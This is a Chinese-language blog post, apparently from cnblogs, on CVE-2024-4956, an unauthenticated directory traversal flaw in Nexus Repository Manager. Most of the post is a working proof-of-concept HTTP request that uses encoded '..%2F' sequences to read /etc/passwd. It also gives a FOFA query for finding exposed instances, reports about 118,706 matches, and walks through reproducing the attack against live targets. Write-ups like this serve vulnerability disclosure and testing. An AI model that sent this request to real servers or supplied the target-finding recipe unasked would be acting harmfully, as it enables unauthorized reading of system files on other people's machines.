首页 > 其他分享 >Nexus未授权目录穿越漏洞(CVE-2024-4956)

Nexus未授权目录穿越漏洞(CVE-2024-4956)

时间:2024-05-26 17:46:41浏览次数:25  
标签:Nexus ..% Accept 2024 漏洞 2F 2F% CVE

漏洞描述

该漏洞允许远程攻击者通过构造特制的HTTP请求,在未经身份验证的情况下访问系统文件,该漏洞由于应用程序在处理文件路径输入时没有进行严格的验证和过滤,导致攻击者可以通过特定的目录穿越字符序列访问到应用程序根目录之外的文件

fofa

app="Nexus-Repository-Manager"

POC

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

漏洞复现

在fofa中搜索资产,共有118706条数据匹配

image-20240526141727984

访问目标网站,抓包构造数据包,或者直接在url后面拼接payload

image-20240526141817425

image-20240526141928609

直接访问会下载一个文件,内容是/etc/passwd中的信息

image-20240526142030494

标签:Nexus,..%,Accept,2024,漏洞,2F,2F%,CVE
From: https://www.cnblogs.com/LeouMaster/p/18214028

相关文章

  • 2024年Java面经(附答案)
    目录一、Java基础部分面试题二、第三方框架部分三、MySQL数据库部分四、Redis部分一、Java基础部分面试题1.Java面向对象的三个特征封装:对象只需要选择性的对外公开一些属性和行为。继承:子对象可以继承父对象的属性和行为,并且可以在其之上进行修改以适合更特殊的场......
  • SDCPC2024 游记
    全称:齐鲁软件园杯2024年中国大学生程序设计竞赛全国邀请赛(山东)暨CCPC山东省大学生程序设计竞赛。Day0上午开润。在火车站等了1h,好评。车上在打图寻,打不过lht,差评。和gyy住一个房间,好评。中午和syz、gyy去吃的麻辣烫,太烫了,差评。下午热身赛,贡献为\(0\)。\(ABC\)......
  • 2024年上半年软件设计师第一批
    2024年上半年开考的高级都过了,所以只能选一个中级来练手了。案例1、设计模式题,算比较简单了,State模式,第一空填定义变量,其他几空都是直接调用这个对象state的方法2、数据库题目,第一小问有点偏,上来就问数据库设计的6分步骤(需求分析,概念设计,逻辑设计,物理设计,实施,维护,见教材12.2目......
  • 华为OD机试真题-反射计数-2024年OD统一考试(D卷)
     2024年OD统一考试(D卷)完整题库:华为OD机试2024年最新题库(Python、JAVA、C++合集) 题目描述:给定一个包含0和1的二维矩阵给定一个初始位置和速度一个物体从给定的初始位置触发,在给定的速度下进行移动,遇到矩阵的边缘则发生镜面反射无论物体经过0还是1,都不影响......
  • CCF-GESP 等级考试 2024年3月认证C++一级真题解析
    2024年03月真题1单选题第1题C++表达式(3-2)*3+5的值是()。A.-13B.8C.2D.0正确答案:B.8解析:首先计算括号中的表达式(3-2),得到(1)。接下来进行乘法运算(1*3),得到(3)。最后进行加法运算(3+5),得到(8)。因此,表达式的值是(8)。第2题C++......
  • CCF-GESP 等级考试 2024年3月认证C++一级真题
    2024年03月真题1单选题第1题C++表达式(3-2)*3+5的值是()。A.-13B.8C.2D.0第2题C++语句cout<<"5%2="<<5%2执行后的输出是()。A.22B.11C.5%2=2D.5%2=1第3题执行C++语句cin>>a时如果输入5+2,下述说法正确的是()。A.变量a将被......
  • el-table表格合并头,多级表头,合并列,合并列数据处理(2024-05-22)
    1、多级表头合并表头数据结构比较复杂的时候,可使用多级表头来展现数据的层次关系。<el-table-column>标签按照合并的层级放置标签即可实现,数据是正常的二维数据。<template><el-table:data="tableData"style="width:100%"><el-table-columnprop="......
  • 特征融合篇 | 结合内容引导注意力 DEA-Net 思想 实现双主干特征融合新方法 | IEEE TIP
    1.介绍本篇介绍了一种基于细节增强注意力块(DEAB)的双主干特征融合新方法,该方法在IEEETIP2024上发表。该方法将内容引导注意力机制与细节增强卷积相结合,有效地融合了来自不同尺度的特征,显著提升了单幅图像去雾性能。2.原理详解该方法的核心思想是利用内容引导注意力机制......
  • 全免费的数据恢复工具哪个好?分享2024年性价比超高的12款数据恢复软件!
    当您丢失重要文件时,您应该可不想遇到措手不及的情况吧?相反,您需要在系统中使用一些可靠的数据恢复软件,但是全免费的数据恢复工具哪个好呢?别担心,本文将帮助您选择最适合您的解决方案。如何挑选一款合适的数据恢复软件?性能和多功能性:挑选具有高性能的多功能数据恢复软件,它支持......
  • 2024web网页源码大学生网页设计制作作业实例代码 (全网最全,建议收藏) HTML+CSS+JS
    文章目录......